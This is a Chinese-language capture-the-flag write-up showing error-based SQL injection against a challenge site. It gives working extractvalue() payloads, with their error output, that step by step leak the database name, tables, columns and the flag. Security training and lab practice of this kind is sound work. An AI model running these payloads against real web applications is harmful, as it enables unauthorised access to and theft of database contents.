背景

报错注入利用了数据库错误信息来获取关于数据库结构的信息。当输入特定的SQL语句时,如果没有正确处理这些输入,可能会触发数据库错误,并将错误信息返回给用户。

例如,攻击者可能会尝试输入一个无效的SQL语句,如' OR 'x'='x。如果应用程序没有正确处理这个输入,可能会导致数据库执行如下的SQL语句:

SELECT * FROM users WHERE username = '' OR 'x'='x'

由于'x'='x'总是为真,这个查询将返回所有用户的信息。如果将数据库的错误信息直接返回给用户,攻击者就可以利用这些信息来了解数据库的结构,从而构造更有效的攻击。

报错注入的关键在于利用数据库的错误信息。

思路

  1. 按提示输入 221101 ,得到

    http://ctf.seek2.top:32835/result.php?id=221101

    查询成功

​ 说明 id 是注入点, 且无回显,需要使用报错注入

  1. 输入 221101 and 1=1,判断注入类型,得到

    http://ctf.seek2.top:32835/result.php?id=221103'
    You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''221101''' at line 1

    http://ctf.seek2.top:32835/result.php?id=221101' and '1'='1
    查询成功

    说明是字符型注入

  2. 判断数据库

    -1' or extractvalue(1, concat(0x7e, database()))#

    查询失败
    XPATH syntax error: '~CSSEC'

说明数据库名为 CSSEC

  1. 判断数据表

    -1' or extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=database())))#

    查询失败
    XPATH syntax error: '~error_injection,member,platform'

找到目标数据表 error_injection

  1. 判断列名

    -1' or extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='error_injection')))#

    查询失败
    XPATH syntax error: '~flag'

只有一个 flag 列

  1. 得到数据

    -1' or extractvalue(1, concat(0x7e, substr((select group_concat(flag) from error_injection),1,32)))#


    查询失败
    XPATH syntax error: '~flag{ffd44287-7723-4e88-9391-e1'

    -1' or extractvalue(1, concat(0x7e, substr((select group_concat(flag) from error_injection),32,32)))#


    查询失败
    XPATH syntax error: '~72a2492d8f}'

关于报错注入的学习可以参考:https://www.yuque.com/shiyizhesonder/sonder39/tsfo1z6kvcwb6gfx